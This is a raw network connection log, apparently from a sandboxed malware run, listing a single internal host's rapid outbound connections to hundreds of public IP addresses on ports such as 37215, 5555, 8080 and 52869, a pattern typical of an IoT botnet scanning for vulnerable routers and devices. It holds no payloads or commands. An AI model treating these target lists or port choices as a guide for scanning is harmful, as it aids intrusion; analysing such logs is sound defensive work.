Feb 12, 2023 21:24:34.579077005 CET	52981	37215	192.168.2.23	197.35.68.249
Feb 12, 2023 21:24:34.579082966 CET	52981	37215	192.168.2.23	197.9.55.145
Feb 12, 2023 21:24:34.579087019 CET	52981	37215	192.168.2.23	191.236.52.229
Feb 12, 2023 21:24:34.579087019 CET	52981	37215	192.168.2.23	41.125.11.57
Feb 12, 2023 21:24:34.579090118 CET	52981	37215	192.168.2.23	41.180.114.6
Feb 12, 2023 21:24:34.579092979 CET	52981	37215	192.168.2.23	197.69.236.76
Feb 12, 2023 21:24:34.579111099 CET	52981	37215	192.168.2.23	117.61.235.255
Feb 12, 2023 21:24:34.579127073 CET	52981	37215	192.168.2.23	42.197.203.184
Feb 12, 2023 21:24:34.579145908 CET	52981	37215	192.168.2.23	41.92.240.98
Feb 12, 2023 21:24:34.579145908 CET	52981	37215	192.168.2.23	41.231.125.7
Feb 12, 2023 21:24:34.579161882 CET	52981	37215	192.168.2.23	157.72.38.251
Feb 12, 2023 21:24:34.579190969 CET	52981	37215	192.168.2.23	41.158.120.65
Feb 12, 2023 21:24:34.579190969 CET	52981	37215	192.168.2.23	157.15.240.53
Feb 12, 2023 21:24:34.579195023 CET	52981	37215	192.168.2.23	41.189.133.26
Feb 12, 2023 21:24:34.579220057 CET	52981	37215	192.168.2.23	41.200.192.140
Feb 12, 2023 21:24:34.579246998 CET	52981	37215	192.168.2.23	50.146.175.22
Feb 12, 2023 21:24:34.579262972 CET	52981	37215	192.168.2.23	68.118.247.1
Feb 12, 2023 21:24:34.579262972 CET	52981	37215	192.168.2.23	197.170.166.69
Feb 12, 2023 21:24:34.579272985 CET	52981	37215	192.168.2.23	41.157.196.71
Feb 12, 2023 21:24:34.579273939 CET	52981	37215	192.168.2.23	197.126.164.248
Feb 12, 2023 21:24:34.579304934 CET	52981	37215	192.168.2.23	41.122.175.130
Feb 12, 2023 21:24:34.579323053 CET	52981	37215	192.168.2.23	197.171.228.69
Feb 12, 2023 21:24:34.579343081 CET	52981	37215	192.168.2.23	197.246.37.255
Feb 12, 2023 21:24:34.579351902 CET	52981	37215	192.168.2.23	41.253.140.210
Feb 12, 2023 21:24:34.579365015 CET	52981	37215	192.168.2.23	197.180.173.241
Feb 12, 2023 21:24:34.579368114 CET	52981	37215	192.168.2.23	138.9.111.221
Feb 12, 2023 21:24:34.579385042 CET	52981	37215	192.168.2.23	41.124.205.113
Feb 12, 2023 21:24:34.579385042 CET	52981	37215	192.168.2.23	107.101.240.130
Feb 12, 2023 21:24:34.579416990 CET	52981	37215	192.168.2.23	197.19.185.68
Feb 12, 2023 21:24:34.579442024 CET	52981	37215	192.168.2.23	157.127.205.25
Feb 12, 2023 21:24:34.579466105 CET	52981	37215	192.168.2.23	197.207.84.252
Feb 12, 2023 21:24:34.579474926 CET	52981	37215	192.168.2.23	128.99.156.129
Feb 12, 2023 21:24:34.579493046 CET	52981	37215	192.168.2.23	197.38.22.251
Feb 12, 2023 21:24:34.579498053 CET	52981	37215	192.168.2.23	41.5.184.69
Feb 12, 2023 21:24:34.579540014 CET	52981	37215	192.168.2.23	157.181.252.25
Feb 12, 2023 21:24:34.579540014 CET	52981	37215	192.168.2.23	157.224.163.176
Feb 12, 2023 21:24:34.579555988 CET	52981	37215	192.168.2.23	5.222.48.77
Feb 12, 2023 21:24:34.579567909 CET	52981	37215	192.168.2.23	157.18.185.2
Feb 12, 2023 21:24:34.579580069 CET	52981	37215	192.168.2.23	181.231.12.50
Feb 12, 2023 21:24:34.579586983 CET	52981	37215	192.168.2.23	75.144.16.254
Feb 12, 2023 21:24:34.579605103 CET	52981	37215	192.168.2.23	177.253.196.26
Feb 12, 2023 21:24:34.579612017 CET	52981	37215	192.168.2.23	146.231.241.39
Feb 12, 2023 21:24:34.579638958 CET	52981	37215	192.168.2.23	41.254.244.12
Feb 12, 2023 21:24:34.579653978 CET	52981	37215	192.168.2.23	197.88.5.71
Feb 12, 2023 21:24:34.579669952 CET	52981	37215	192.168.2.23	157.70.143.3
Feb 12, 2023 21:24:34.579690933 CET	52981	37215	192.168.2.23	41.20.169.244
Feb 12, 2023 21:24:34.579693079 CET	52981	37215	192.168.2.23	197.233.46.63
Feb 12, 2023 21:24:34.579730034 CET	52981	37215	192.168.2.23	197.157.246.183
Feb 12, 2023 21:24:34.579739094 CET	52981	37215	192.168.2.23	197.132.248.195
Feb 12, 2023 21:24:34.579755068 CET	52981	37215	192.168.2.23	197.46.21.96
Feb 12, 2023 21:24:34.579755068 CET	52981	37215	192.168.2.23	175.219.30.96
Feb 12, 2023 21:24:34.579778910 CET	52981	37215	192.168.2.23	41.211.22.187
Feb 12, 2023 21:24:34.579816103 CET	52981	37215	192.168.2.23	150.26.163.180
Feb 12, 2023 21:24:34.579816103 CET	52981	37215	192.168.2.23	197.78.18.218
Feb 12, 2023 21:24:34.579835892 CET	52981	37215	192.168.2.23	157.255.166.66
Feb 12, 2023 21:24:34.579842091 CET	52981	37215	192.168.2.23	87.207.237.168
Feb 12, 2023 21:24:34.579842091 CET	52981	37215	192.168.2.23	113.235.49.210
Feb 12, 2023 21:24:34.579883099 CET	52981	37215	192.168.2.23	157.251.161.102
Feb 12, 2023 21:24:34.579884052 CET	52981	37215	192.168.2.23	65.204.152.191
Feb 12, 2023 21:24:34.579911947 CET	52981	37215	192.168.2.23	157.153.132.26
Feb 12, 2023 21:24:34.580194950 CET	52981	37215	192.168.2.23	163.206.144.169
Feb 12, 2023 21:24:34.580194950 CET	52981	37215	192.168.2.23	192.135.36.234
Feb 12, 2023 21:24:34.589373112 CET	22272	5555	192.168.2.23	47.61.126.241
Feb 12, 2023 21:24:34.589373112 CET	22272	5555	192.168.2.23	179.146.214.61
Feb 12, 2023 21:24:34.589373112 CET	22272	5555	192.168.2.23	126.150.251.215
Feb 12, 2023 21:24:34.589380026 CET	22272	5555	192.168.2.23	144.116.83.40
Feb 12, 2023 21:24:34.589396954 CET	22272	5555	192.168.2.23	199.180.201.159
Feb 12, 2023 21:24:34.589396954 CET	22272	5555	192.168.2.23	157.160.57.242
Feb 12, 2023 21:24:34.589421988 CET	22272	5555	192.168.2.23	99.10.65.85
Feb 12, 2023 21:24:34.589427948 CET	22272	5555	192.168.2.23	57.158.196.91
Feb 12, 2023 21:24:34.589436054 CET	22272	5555	192.168.2.23	210.77.221.103
Feb 12, 2023 21:24:34.589436054 CET	22272	5555	192.168.2.23	190.140.20.121
Feb 12, 2023 21:24:34.589437008 CET	22272	5555	192.168.2.23	190.0.58.121
Feb 12, 2023 21:24:34.589462996 CET	22272	5555	192.168.2.23	136.162.207.211
Feb 12, 2023 21:24:34.589487076 CET	22272	5555	192.168.2.23	202.79.51.66
Feb 12, 2023 21:24:34.589487076 CET	22272	5555	192.168.2.23	221.48.89.223
Feb 12, 2023 21:24:34.589498043 CET	22272	5555	192.168.2.23	95.87.111.40
Feb 12, 2023 21:24:34.589499950 CET	22272	5555	192.168.2.23	187.149.146.86
Feb 12, 2023 21:24:34.589499950 CET	22272	5555	192.168.2.23	156.188.78.103
Feb 12, 2023 21:24:34.589521885 CET	22272	5555	192.168.2.23	146.176.6.218
Feb 12, 2023 21:24:34.589530945 CET	22272	5555	192.168.2.23	1.152.185.161
Feb 12, 2023 21:24:34.589530945 CET	22272	5555	192.168.2.23	171.133.175.228
Feb 12, 2023 21:24:34.589530945 CET	22272	5555	192.168.2.23	211.188.3.177
Feb 12, 2023 21:24:34.589530945 CET	22272	5555	192.168.2.23	110.106.130.85
Feb 12, 2023 21:24:34.589579105 CET	22272	5555	192.168.2.23	180.106.153.60
Feb 12, 2023 21:24:34.589637995 CET	22272	5555	192.168.2.23	145.191.201.120
Feb 12, 2023 21:24:34.589637995 CET	22272	5555	192.168.2.23	37.53.82.128
Feb 12, 2023 21:24:34.589646101 CET	22272	5555	192.168.2.23	58.152.197.186
Feb 12, 2023 21:24:34.589646101 CET	22272	5555	192.168.2.23	69.87.153.87
Feb 12, 2023 21:24:34.589665890 CET	22272	5555	192.168.2.23	53.152.23.70
Feb 12, 2023 21:24:34.589665890 CET	22272	5555	192.168.2.23	5.236.179.207
Feb 12, 2023 21:24:34.589704037 CET	22272	5555	192.168.2.23	129.131.241.110
Feb 12, 2023 21:24:34.589708090 CET	22272	5555	192.168.2.23	45.63.50.90
Feb 12, 2023 21:24:34.589735031 CET	22272	5555	192.168.2.23	54.102.17.15
Feb 12, 2023 21:24:34.589736938 CET	22272	5555	192.168.2.23	52.247.5.233
Feb 12, 2023 21:24:34.589737892 CET	22272	5555	192.168.2.23	169.129.124.199
Feb 12, 2023 21:24:34.589736938 CET	22272	5555	192.168.2.23	73.15.166.96
Feb 12, 2023 21:24:34.589737892 CET	22272	5555	192.168.2.23	210.76.53.150
Feb 12, 2023 21:24:34.589760065 CET	22272	5555	192.168.2.23	111.195.181.254
Feb 12, 2023 21:24:34.589760065 CET	22272	5555	192.168.2.23	110.77.81.1
Feb 12, 2023 21:24:34.589767933 CET	22272	5555	192.168.2.23	171.158.104.146
Feb 12, 2023 21:24:34.589811087 CET	22272	5555	192.168.2.23	92.2.115.213
Feb 12, 2023 21:24:34.589819908 CET	22272	5555	192.168.2.23	137.96.215.47
Feb 12, 2023 21:24:34.589824915 CET	22272	5555	192.168.2.23	117.66.180.246
Feb 12, 2023 21:24:34.589827061 CET	22272	5555	192.168.2.23	46.45.171.27
Feb 12, 2023 21:24:34.589829922 CET	22272	5555	192.168.2.23	165.112.168.251
Feb 12, 2023 21:24:34.589849949 CET	22272	5555	192.168.2.23	85.187.253.53
Feb 12, 2023 21:24:34.589854002 CET	22272	5555	192.168.2.23	63.11.112.32
Feb 12, 2023 21:24:34.589884996 CET	22272	5555	192.168.2.23	182.117.30.163
Feb 12, 2023 21:24:34.589884996 CET	22272	5555	192.168.2.23	212.114.22.80
Feb 12, 2023 21:24:34.589941025 CET	22272	5555	192.168.2.23	190.192.89.9
Feb 12, 2023 21:24:34.589958906 CET	22272	5555	192.168.2.23	62.147.224.24
Feb 12, 2023 21:24:34.589958906 CET	22272	5555	192.168.2.23	212.90.229.186
Feb 12, 2023 21:24:34.589961052 CET	22272	5555	192.168.2.23	117.186.6.73
Feb 12, 2023 21:24:34.589962006 CET	22272	5555	192.168.2.23	88.6.95.85
Feb 12, 2023 21:24:34.589962006 CET	22272	5555	192.168.2.23	13.207.227.138
Feb 12, 2023 21:24:34.589975119 CET	22272	5555	192.168.2.23	27.188.201.162
Feb 12, 2023 21:24:34.589994907 CET	22272	5555	192.168.2.23	126.175.189.79
Feb 12, 2023 21:24:34.589994907 CET	22272	5555	192.168.2.23	102.100.15.183
Feb 12, 2023 21:24:34.590029955 CET	22272	5555	192.168.2.23	57.85.180.156
Feb 12, 2023 21:24:34.590053082 CET	22272	5555	192.168.2.23	184.43.210.199
Feb 12, 2023 21:24:34.590053082 CET	22272	5555	192.168.2.23	162.35.88.240
Feb 12, 2023 21:24:34.590065956 CET	22272	5555	192.168.2.23	148.97.236.65
Feb 12, 2023 21:24:34.590065956 CET	22272	5555	192.168.2.23	193.225.133.204
Feb 12, 2023 21:24:34.590070009 CET	22272	5555	192.168.2.23	160.159.98.22
Feb 12, 2023 21:24:34.590090036 CET	22272	5555	192.168.2.23	80.135.55.79
Feb 12, 2023 21:24:34.590099096 CET	22272	5555	192.168.2.23	86.165.152.221
Feb 12, 2023 21:24:34.590107918 CET	22272	5555	192.168.2.23	44.57.158.165
Feb 12, 2023 21:24:34.590116978 CET	22272	5555	192.168.2.23	145.137.235.5
Feb 12, 2023 21:24:34.590130091 CET	22272	5555	192.168.2.23	189.210.210.75
Feb 12, 2023 21:24:34.590172052 CET	22272	5555	192.168.2.23	35.83.144.152
Feb 12, 2023 21:24:34.590172052 CET	22272	5555	192.168.2.23	212.18.158.150
Feb 12, 2023 21:24:34.590187073 CET	22272	5555	192.168.2.23	37.144.254.63
Feb 12, 2023 21:24:34.590195894 CET	22272	5555	192.168.2.23	220.121.187.214
Feb 12, 2023 21:24:34.590213060 CET	22272	5555	192.168.2.23	192.63.139.72
Feb 12, 2023 21:24:34.590213060 CET	22272	5555	192.168.2.23	220.152.242.7
Feb 12, 2023 21:24:34.590255976 CET	22272	5555	192.168.2.23	121.249.0.69
Feb 12, 2023 21:24:34.590281963 CET	22272	5555	192.168.2.23	57.127.219.181
Feb 12, 2023 21:24:34.590281963 CET	22272	5555	192.168.2.23	62.65.188.198
Feb 12, 2023 21:24:34.590300083 CET	22272	5555	192.168.2.23	217.7.59.102
Feb 12, 2023 21:24:34.590307951 CET	22272	5555	192.168.2.23	216.19.169.123
Feb 12, 2023 21:24:34.590307951 CET	22272	5555	192.168.2.23	148.204.17.204
Feb 12, 2023 21:24:34.590312004 CET	22272	5555	192.168.2.23	185.216.251.209
Feb 12, 2023 21:24:34.590312004 CET	22272	5555	192.168.2.23	53.165.94.233
Feb 12, 2023 21:24:34.590320110 CET	22272	5555	192.168.2.23	46.16.111.138
Feb 12, 2023 21:24:34.590320110 CET	22272	5555	192.168.2.23	59.104.160.231
Feb 12, 2023 21:24:34.590342045 CET	22272	5555	192.168.2.23	133.187.30.86
Feb 12, 2023 21:24:34.590342045 CET	22272	5555	192.168.2.23	109.32.176.160
Feb 12, 2023 21:24:34.590342045 CET	22272	5555	192.168.2.23	39.13.2.251
Feb 12, 2023 21:24:34.590342999 CET	22272	5555	192.168.2.23	156.190.223.237
Feb 12, 2023 21:24:34.590342999 CET	22272	5555	192.168.2.23	126.49.100.160
Feb 12, 2023 21:24:34.590349913 CET	22272	5555	192.168.2.23	171.157.165.151
Feb 12, 2023 21:24:34.590342999 CET	22272	5555	192.168.2.23	37.217.148.84
Feb 12, 2023 21:24:34.590349913 CET	22272	5555	192.168.2.23	145.26.88.118
Feb 12, 2023 21:24:34.590352058 CET	22272	5555	192.168.2.23	49.55.151.13
Feb 12, 2023 21:24:34.590321064 CET	22272	5555	192.168.2.23	217.117.108.90
Feb 12, 2023 21:24:34.590321064 CET	22272	5555	192.168.2.23	190.121.105.160
Feb 12, 2023 21:24:34.590321064 CET	22272	5555	192.168.2.23	136.61.222.116
Feb 12, 2023 21:24:34.590321064 CET	22272	5555	192.168.2.23	125.133.186.74
Feb 12, 2023 21:24:34.590361118 CET	22272	5555	192.168.2.23	209.233.13.22
Feb 12, 2023 21:24:34.590390921 CET	22272	5555	192.168.2.23	69.100.149.228
Feb 12, 2023 21:24:34.590396881 CET	22272	5555	192.168.2.23	65.74.135.195
Feb 12, 2023 21:24:34.590406895 CET	22272	5555	192.168.2.23	95.207.86.42
Feb 12, 2023 21:24:34.590426922 CET	22272	5555	192.168.2.23	119.159.233.63
Feb 12, 2023 21:24:34.590451956 CET	22272	5555	192.168.2.23	49.93.63.158
Feb 12, 2023 21:24:34.590451956 CET	22272	5555	192.168.2.23	75.206.138.107
Feb 12, 2023 21:24:34.590454102 CET	22272	5555	192.168.2.23	211.143.235.130
Feb 12, 2023 21:24:34.590461016 CET	22272	5555	192.168.2.23	13.83.232.109
Feb 12, 2023 21:24:34.590461969 CET	22272	5555	192.168.2.23	191.120.76.130
Feb 12, 2023 21:24:34.590461969 CET	22272	5555	192.168.2.23	83.207.36.183
Feb 12, 2023 21:24:34.590466976 CET	22272	5555	192.168.2.23	136.195.202.17
Feb 12, 2023 21:24:34.590481043 CET	22272	5555	192.168.2.23	39.130.126.119
Feb 12, 2023 21:24:34.590536118 CET	22272	5555	192.168.2.23	25.94.48.189
Feb 12, 2023 21:24:34.590558052 CET	22272	5555	192.168.2.23	137.172.201.63
Feb 12, 2023 21:24:34.590570927 CET	22272	5555	192.168.2.23	190.27.197.250
Feb 12, 2023 21:24:34.590574980 CET	22272	5555	192.168.2.23	85.255.220.31
Feb 12, 2023 21:24:34.590584040 CET	22272	5555	192.168.2.23	131.125.151.218
Feb 12, 2023 21:24:34.590598106 CET	22272	5555	192.168.2.23	179.224.59.215
Feb 12, 2023 21:24:34.590610027 CET	22272	5555	192.168.2.23	119.166.230.82
Feb 12, 2023 21:24:34.590612888 CET	22272	5555	192.168.2.23	50.93.204.220
Feb 12, 2023 21:24:34.590646029 CET	22272	5555	192.168.2.23	51.9.38.109
Feb 12, 2023 21:24:34.590658903 CET	22272	5555	192.168.2.23	19.45.197.71
Feb 12, 2023 21:24:34.590658903 CET	22272	5555	192.168.2.23	163.98.156.229
Feb 12, 2023 21:24:34.590658903 CET	22272	5555	192.168.2.23	62.190.133.156
Feb 12, 2023 21:24:34.590662956 CET	22272	5555	192.168.2.23	168.197.90.38
Feb 12, 2023 21:24:34.590679884 CET	22272	5555	192.168.2.23	185.144.111.218
Feb 12, 2023 21:24:34.590687037 CET	22272	5555	192.168.2.23	200.69.203.21
Feb 12, 2023 21:24:34.590723991 CET	22272	5555	192.168.2.23	188.134.242.79
Feb 12, 2023 21:24:34.590728998 CET	22272	5555	192.168.2.23	175.195.224.219
Feb 12, 2023 21:24:34.590750933 CET	22272	5555	192.168.2.23	101.197.100.172
Feb 12, 2023 21:24:34.590750933 CET	22272	5555	192.168.2.23	116.5.165.72
Feb 12, 2023 21:24:34.590759993 CET	22272	5555	192.168.2.23	197.247.145.85
Feb 12, 2023 21:24:34.590759993 CET	22272	5555	192.168.2.23	134.199.136.77
Feb 12, 2023 21:24:34.590770960 CET	22272	5555	192.168.2.23	115.10.219.219
Feb 12, 2023 21:24:34.590797901 CET	22272	5555	192.168.2.23	32.20.100.220
Feb 12, 2023 21:24:34.590840101 CET	22272	5555	192.168.2.23	173.207.225.45
Feb 12, 2023 21:24:34.590843916 CET	22272	5555	192.168.2.23	39.81.204.138
Feb 12, 2023 21:24:34.590843916 CET	22272	5555	192.168.2.23	122.201.149.227
Feb 12, 2023 21:24:34.590859890 CET	22272	5555	192.168.2.23	59.203.188.184
Feb 12, 2023 21:24:34.590859890 CET	22272	5555	192.168.2.23	1.39.46.11
Feb 12, 2023 21:24:34.590869904 CET	22272	5555	192.168.2.23	168.201.83.209
Feb 12, 2023 21:24:34.590884924 CET	22272	5555	192.168.2.23	81.244.42.138
Feb 12, 2023 21:24:34.590909004 CET	22272	5555	192.168.2.23	95.29.100.129
Feb 12, 2023 21:24:34.590909004 CET	22272	5555	192.168.2.23	160.96.23.89
Feb 12, 2023 21:24:34.590922117 CET	22272	5555	192.168.2.23	141.60.78.177
Feb 12, 2023 21:24:34.590929031 CET	22272	5555	192.168.2.23	149.8.238.51
Feb 12, 2023 21:24:34.590953112 CET	22272	5555	192.168.2.23	58.61.167.105
Feb 12, 2023 21:24:34.590962887 CET	22272	5555	192.168.2.23	34.114.230.98
Feb 12, 2023 21:24:34.590969086 CET	22272	5555	192.168.2.23	202.205.224.139
Feb 12, 2023 21:24:34.590969086 CET	22272	5555	192.168.2.23	148.126.240.89
Feb 12, 2023 21:24:34.590977907 CET	22272	5555	192.168.2.23	98.174.4.114
Feb 12, 2023 21:24:34.590979099 CET	22272	5555	192.168.2.23	186.53.53.227
Feb 12, 2023 21:24:34.591026068 CET	22272	5555	192.168.2.23	222.236.247.138
Feb 12, 2023 21:24:34.591026068 CET	22272	5555	192.168.2.23	193.24.250.83
Feb 12, 2023 21:24:34.591032982 CET	22272	5555	192.168.2.23	205.69.24.2
Feb 12, 2023 21:24:34.591044903 CET	22272	5555	192.168.2.23	189.0.127.166
Feb 12, 2023 21:24:34.591044903 CET	22272	5555	192.168.2.23	79.127.89.164
Feb 12, 2023 21:24:34.591048956 CET	22272	5555	192.168.2.23	2.200.195.169
Feb 12, 2023 21:24:34.591068983 CET	22272	5555	192.168.2.23	138.175.129.92
Feb 12, 2023 21:24:34.591101885 CET	22272	5555	192.168.2.23	152.184.109.73
Feb 12, 2023 21:24:34.591154099 CET	22272	5555	192.168.2.23	199.248.36.144
Feb 12, 2023 21:24:34.591320038 CET	22272	5555	192.168.2.23	210.117.230.154
Feb 12, 2023 21:24:34.603809118 CET	37215	52981	157.143.31.248	192.168.2.23
Feb 12, 2023 21:24:34.606653929 CET	37215	52981	185.126.65.82	192.168.2.23
Feb 12, 2023 21:24:34.625030041 CET	5555	22272	62.65.188.198	192.168.2.23
Feb 12, 2023 21:24:34.640400887 CET	56230	37215	192.168.2.23	56.49.46.53
Feb 12, 2023 21:24:34.640438080 CET	38546	37215	192.168.2.23	51.49.46.49
Feb 12, 2023 21:24:34.640444994 CET	43024	37215	192.168.2.23	49.50.57.46
Feb 12, 2023 21:24:34.640438080 CET	34430	37215	192.168.2.23	49.48.46.57
Feb 12, 2023 21:24:34.640479088 CET	41364	37215	192.168.2.23	54.54.46.49
Feb 12, 2023 21:24:34.795720100 CET	37215	52981	41.222.155.249	192.168.2.23
Feb 12, 2023 21:24:34.845021963 CET	37215	52981	157.65.151.224	192.168.2.23
Feb 12, 2023 21:24:34.852178097 CET	5555	22272	115.10.219.219	192.168.2.23
Feb 12, 2023 21:24:34.866637945 CET	5555	22272	185.216.251.209	192.168.2.23
Feb 12, 2023 21:24:34.866794109 CET	22272	5555	192.168.2.23	185.216.251.209
Feb 12, 2023 21:24:34.876456022 CET	43862	80	192.168.2.23	49.55.55.46
Feb 12, 2023 21:24:34.896382093 CET	54330	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:34.896385908 CET	54334	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:34.896420956 CET	55086	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:34.901062012 CET	5555	22272	222.236.247.138	192.168.2.23
Feb 12, 2023 21:24:34.928661108 CET	54336	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:34.933382034 CET	54338	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:34.933413029 CET	55094	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:34.960609913 CET	42864	7574	192.168.2.23	49.50.57.46
Feb 12, 2023 21:24:35.180535078 CET	37215	52981	197.213.232.95	192.168.2.23
Feb 12, 2023 21:24:35.194997072 CET	47614	49152	192.168.2.23	49.55.55.46
Feb 12, 2023 21:24:35.216432095 CET	35094	80	192.168.2.23	52.49.46.54
Feb 12, 2023 21:24:35.220413923 CET	46414	80	192.168.2.23	56.56.46.55
Feb 12, 2023 21:24:35.248343945 CET	47984	80	192.168.2.23	52.50.46.49
Feb 12, 2023 21:24:35.248347044 CET	50312	80	192.168.2.23	49.50.57.46
Feb 12, 2023 21:24:35.248394966 CET	54672	80	192.168.2.23	51.55.46.49
Feb 12, 2023 21:24:35.248397112 CET	48206	80	192.168.2.23	56.56.46.49
Feb 12, 2023 21:24:35.504271030 CET	37542	8080	192.168.2.23	50.50.57.46
Feb 12, 2023 21:24:35.568317890 CET	59410	81	192.168.2.23	49.55.55.46
Feb 12, 2023 21:24:35.568320036 CET	47214	52869	192.168.2.23	55.56.46.57
Feb 12, 2023 21:24:35.581176996 CET	52981	37215	192.168.2.23	157.226.73.251
Feb 12, 2023 21:24:35.581176996 CET	52981	37215	192.168.2.23	157.186.58.79
Feb 12, 2023 21:24:35.581185102 CET	52981	37215	192.168.2.23	197.35.57.247
Feb 12, 2023 21:24:35.581191063 CET	52981	37215	192.168.2.23	218.30.11.152
Feb 12, 2023 21:24:35.581242085 CET	52981	37215	192.168.2.23	41.77.147.107
Feb 12, 2023 21:24:35.581250906 CET	52981	37215	192.168.2.23	157.195.133.59
Feb 12, 2023 21:24:35.581252098 CET	52981	37215	192.168.2.23	41.85.190.255
Feb 12, 2023 21:24:35.581273079 CET	52981	37215	192.168.2.23	82.245.175.217
Feb 12, 2023 21:24:35.581273079 CET	52981	37215	192.168.2.23	197.248.80.202
Feb 12, 2023 21:24:35.581274033 CET	52981	37215	192.168.2.23	197.212.173.95
Feb 12, 2023 21:24:35.581274033 CET	52981	37215	192.168.2.23	157.191.45.107
Feb 12, 2023 21:24:35.581285954 CET	52981	37215	192.168.2.23	184.53.195.234
Feb 12, 2023 21:24:35.581300974 CET	52981	37215	192.168.2.23	41.111.197.119
Feb 12, 2023 21:24:35.581317902 CET	52981	37215	192.168.2.23	157.154.163.178
Feb 12, 2023 21:24:35.581325054 CET	52981	37215	192.168.2.23	41.129.79.105
Feb 12, 2023 21:24:35.581373930 CET	52981	37215	192.168.2.23	168.11.5.133
Feb 12, 2023 21:24:35.581374884 CET	52981	37215	192.168.2.23	157.198.103.108
Feb 12, 2023 21:24:35.581376076 CET	52981	37215	192.168.2.23	41.134.75.24
Feb 12, 2023 21:24:35.581408978 CET	52981	37215	192.168.2.23	41.45.176.238
Feb 12, 2023 21:24:35.581418037 CET	52981	37215	192.168.2.23	197.191.171.227
Feb 12, 2023 21:24:35.581429958 CET	52981	37215	192.168.2.23	157.213.91.60
Feb 12, 2023 21:24:35.581435919 CET	52981	37215	192.168.2.23	197.131.108.191
Feb 12, 2023 21:24:35.581439018 CET	52981	37215	192.168.2.23	87.85.217.26
Feb 12, 2023 21:24:35.581439972 CET	52981	37215	192.168.2.23	157.190.216.160
Feb 12, 2023 21:24:35.581465960 CET	52981	37215	192.168.2.23	142.158.115.87
Feb 12, 2023 21:24:35.581465960 CET	52981	37215	192.168.2.23	197.250.198.231
Feb 12, 2023 21:24:35.581468105 CET	52981	37215	192.168.2.23	41.155.12.146
Feb 12, 2023 21:24:35.581471920 CET	52981	37215	192.168.2.23	54.3.23.228
Feb 12, 2023 21:24:35.581471920 CET	52981	37215	192.168.2.23	157.233.39.246
Feb 12, 2023 21:24:35.581474066 CET	52981	37215	192.168.2.23	197.69.64.98
Feb 12, 2023 21:24:35.581474066 CET	52981	37215	192.168.2.23	157.44.125.37
Feb 12, 2023 21:24:35.581475973 CET	52981	37215	192.168.2.23	157.121.21.113
Feb 12, 2023 21:24:35.581476927 CET	52981	37215	192.168.2.23	41.237.63.244
Feb 12, 2023 21:24:35.581478119 CET	52981	37215	192.168.2.23	157.74.99.168
Feb 12, 2023 21:24:35.581480980 CET	52981	37215	192.168.2.23	41.183.137.188
Feb 12, 2023 21:24:35.581487894 CET	52981	37215	192.168.2.23	41.237.33.146
Feb 12, 2023 21:24:35.581491947 CET	52981	37215	192.168.2.23	41.117.9.27
Feb 12, 2023 21:24:35.581504107 CET	52981	37215	192.168.2.23	216.131.26.191
Feb 12, 2023 21:24:35.581504107 CET	52981	37215	192.168.2.23	197.123.1.213
Feb 12, 2023 21:24:35.581515074 CET	52981	37215	192.168.2.23	157.15.101.61
Feb 12, 2023 21:24:35.581515074 CET	52981	37215	192.168.2.23	110.58.70.119
Feb 12, 2023 21:24:35.581515074 CET	52981	37215	192.168.2.23	41.179.107.135
Feb 12, 2023 21:24:35.581517935 CET	52981	37215	192.168.2.23	194.234.102.143
Feb 12, 2023 21:24:35.581518888 CET	52981	37215	192.168.2.23	157.228.107.124
Feb 12, 2023 21:24:35.581518888 CET	52981	37215	192.168.2.23	41.119.174.240
Feb 12, 2023 21:24:35.581521988 CET	52981	37215	192.168.2.23	157.114.16.13
Feb 12, 2023 21:24:35.581547976 CET	52981	37215	192.168.2.23	41.159.182.81
Feb 12, 2023 21:24:35.581553936 CET	52981	37215	192.168.2.23	157.178.80.97
Feb 12, 2023 21:24:35.581557035 CET	52981	37215	192.168.2.23	206.71.47.214
Feb 12, 2023 21:24:35.581564903 CET	52981	37215	192.168.2.23	41.210.63.216
Feb 12, 2023 21:24:35.581577063 CET	52981	37215	192.168.2.23	41.186.154.31
Feb 12, 2023 21:24:35.581577063 CET	52981	37215	192.168.2.23	197.206.72.239
Feb 12, 2023 21:24:35.581577063 CET	52981	37215	192.168.2.23	157.166.35.41
Feb 12, 2023 21:24:35.581577063 CET	52981	37215	192.168.2.23	157.210.152.179
Feb 12, 2023 21:24:35.581588030 CET	52981	37215	192.168.2.23	197.198.54.61
Feb 12, 2023 21:24:35.581589937 CET	52981	37215	192.168.2.23	197.246.132.37
Feb 12, 2023 21:24:35.581593037 CET	52981	37215	192.168.2.23	41.196.245.97
Feb 12, 2023 21:24:35.581593990 CET	52981	37215	192.168.2.23	197.181.102.19
Feb 12, 2023 21:24:35.581593990 CET	52981	37215	192.168.2.23	157.62.52.107
Feb 12, 2023 21:24:35.581599951 CET	52981	37215	192.168.2.23	192.25.92.99
Feb 12, 2023 21:24:35.581646919 CET	52981	37215	192.168.2.23	157.191.176.26
Feb 12, 2023 21:24:35.581646919 CET	52981	37215	192.168.2.23	81.130.239.61
Feb 12, 2023 21:24:35.581648111 CET	52981	37215	192.168.2.23	41.37.217.20
Feb 12, 2023 21:24:35.581648111 CET	52981	37215	192.168.2.23	41.9.37.150
Feb 12, 2023 21:24:35.581646919 CET	52981	37215	192.168.2.23	157.56.221.13
Feb 12, 2023 21:24:35.581648111 CET	52981	37215	192.168.2.23	208.24.236.236
Feb 12, 2023 21:24:35.581648111 CET	52981	37215	192.168.2.23	197.18.79.124
Feb 12, 2023 21:24:35.581651926 CET	52981	37215	192.168.2.23	41.171.175.102
Feb 12, 2023 21:24:35.581655979 CET	52981	37215	192.168.2.23	157.153.125.52
Feb 12, 2023 21:24:35.581661940 CET	52981	37215	192.168.2.23	157.69.56.62
Feb 12, 2023 21:24:35.581677914 CET	52981	37215	192.168.2.23	157.69.59.235
Feb 12, 2023 21:24:35.581679106 CET	52981	37215	192.168.2.23	157.42.228.250
Feb 12, 2023 21:24:35.581696033 CET	52981	37215	192.168.2.23	197.8.122.136
Feb 12, 2023 21:24:35.581701040 CET	52981	37215	192.168.2.23	157.189.84.121
Feb 12, 2023 21:24:35.581717014 CET	52981	37215	192.168.2.23	157.105.19.222
Feb 12, 2023 21:24:35.581729889 CET	52981	37215	192.168.2.23	41.187.101.43
Feb 12, 2023 21:24:35.581737995 CET	52981	37215	192.168.2.23	157.59.178.124
Feb 12, 2023 21:24:35.581743956 CET	52981	37215	192.168.2.23	41.56.232.110
